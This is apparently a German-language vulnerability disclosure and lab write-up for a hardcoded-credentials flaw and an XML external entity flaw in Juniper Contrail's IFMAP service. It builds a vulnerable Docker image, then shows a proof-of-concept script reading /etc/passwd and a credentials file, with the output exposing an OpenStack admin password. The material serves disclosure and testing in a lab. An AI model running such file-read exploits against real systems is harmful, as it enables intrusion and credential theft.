
Contrail: hartkodierte Zugangsdaten (CVE-2017-10616) und XML-External-Entity-Schwachstelle (XXE) (CVE-2017-10617)
Diese beiden Schwachstellen betreffen Juniper Contrail in den Versionen 2.2, 3.0, 3.1 und 3.2:
Das Sicherheitsbulletin des Herstellers ist unter Juniper Security Alert JSA10819 2017-10 zu finden.
Der anfällige Dienst im Contrail-Produkt ist ein IFMAP-Daemon, der aus irond paketiert wurde. Um es einfach zu halten, arbeiten wir mit irond weiter und nutzen die XXE-Schwachstelle aus.
Wir alle lieben es zu spielen. So erstellst du das Image:
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
Das Image basiert auf dem Maven-Alpine-Image und enthält einen Klon des irond-Repositorys.
Eine Testdatei, die der Contrail-Einrichtung entspricht, wird im verwundbaren Image unter /etc/contrail/openstackrc abgelegt. Diese Datei enthält das OpenStack-Admin-Passwort, ein ziemlich sensibles Asset.
So startest du einen verwundbaren IFMAP-Dienst:
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
Der IFMAP-Dienst ist nun auf Port 8443 des lokalen Rechners verfügbar.
Sobald ein verwundbarer IFMAP-Dienst eingerichtet ist, führe Folgendes aus:
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
Dadurch wird das OpenStack-Admin-Passwort effektiv offengelegt.